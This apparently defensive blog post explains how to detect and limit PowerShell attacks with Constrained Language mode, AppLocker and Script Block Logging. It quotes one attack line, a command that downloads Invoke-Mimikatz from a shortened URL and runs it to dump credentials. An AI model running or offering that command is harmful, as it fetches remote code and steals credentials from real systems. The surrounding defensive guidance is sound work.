Detect and Mitigate PowerShell Attacks
PowerShell has grown as an attack platform against Windows systems as a way for attackers to “live off the land” and use tools that are natively available. We’ve already looked at Empire, DeathStar, and CrackMapExec and how those tools leverage PowerShell to invoke Mimikatz and initiate other attacks. In this post, we will explore what you can do to detect and protect against PowerShell attacks.
What’s So Great about PowerShell?
There are several reasons attackers have favored PowerShell in recent years, such as:
- It is installed on Windows systems by default
- It can execute commands from memory, without ever writing anything to disk, making it harder to detect
- It can initiate remote connections to other systems
- There are lots and lots of scripts available on GitHub and other places (such as Invoke-Mimikatz) for attackers to use
- Administrators use it, so it will rarely be disabled altogether
- It’s hard to natively tell good PowerShell from malicious PowerShell
With all those benefits, as defenders we need to take PowerShell more seriously as an attack platform and learn how to secure it. Let’s look at a few ways.
Constrained Language Mode
Windows PowerShell supports various language modes. These language modes determine what portions of PowerShell can and cannot be used and how they can interact with Windows. Constrained Language mode was developed for the Windows RT operating system on the Surface RT. Eventually, it was added to Windows PowerShell V5 and can be used on modern Windows operating systems.
While there are several ways to enable Constrained Language, such as AppLocker in allow mode, the easiest way is to set an environmental variable __PSLockdownPolicy, which can be done with a simple script.
After the script is run, you can launch a new window and issue the command:
You can see that you are now in Constrained Language mode.
With Constrained Language mode enabled, running malicious scripts like Invoke-Mimikatz will no longer work:
Even using sneakier techniques, like the one described here that downloads Invoke-Mimikatz from a URL will be blocked:
Use AppLocker to Disable PowerShell and Scripts
AppLocker ships with Windows 10 Enterprise and provides a useful way to whitelist applications and scripts. It can be configured locally on a system, or through Group Policy.
When creating AppLocker policies, you can apply them to files, executables, scripts, and packaged apps. For more information on each of these, there is useful information on TechNet.
For our purposes, we can use the Script Rules policies to create an allow rule for a specified folder using a simple PowerShell script. This will ensure only files from this folder can be executed.
You can also use Executable Rules to limit which files can be executed by file path or by signature. If you create signature rules for PowerShell and PowerShell_ISE, you can restrict non-Administrators from running PowerShell that way. It should be noted, this is easily bypassed by attackers because, as we have seen with the PowerShell Empire tool, it is possible to run PowerShell without PowerShell.exe.
Detecting Malicious PowerShell with Script Block Logging
PowerShell 5 introduces several new ways to track malicious PowerShell. One that I will focus on in this blog post is Script Block Logging. This level of logging is on by default with PowerShell 5 and provides a clear-text logging of the full script that is executed by PowerShell. This is useful because many attacks will leverage encoded scripts that are difficult to decipher.
Let’s take a look at one way an attacker may try to hide their scripts, using the script from earlier that will download and run Invoke-Mimikatz:
powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”
Using PowerSploit and Out-EncodedCommand, we can create an encoded version of this command which will look even more obfuscated.
Here is our new encoded script to run:
However, the PowerShell event logs still see exactly what we ran without any encoding.
These are just a few of the ways to monitor and protect against PowerShell based attacks. However, as soon as mitigations and detections are in place, attackers will find ways around them. In the next post, we will look at ways attackers have already found to bypass these approaches.
This is the third installment in our blog series, How Attackers Are Stealing Your Credentials with Mimikatz. Sign up to receive notifications when each new blog is posted, or check back every Tuesday for the latest edition.
To register for the webinar on How Attackers Are Stealing Your Credentials with Mimikatz, please click here.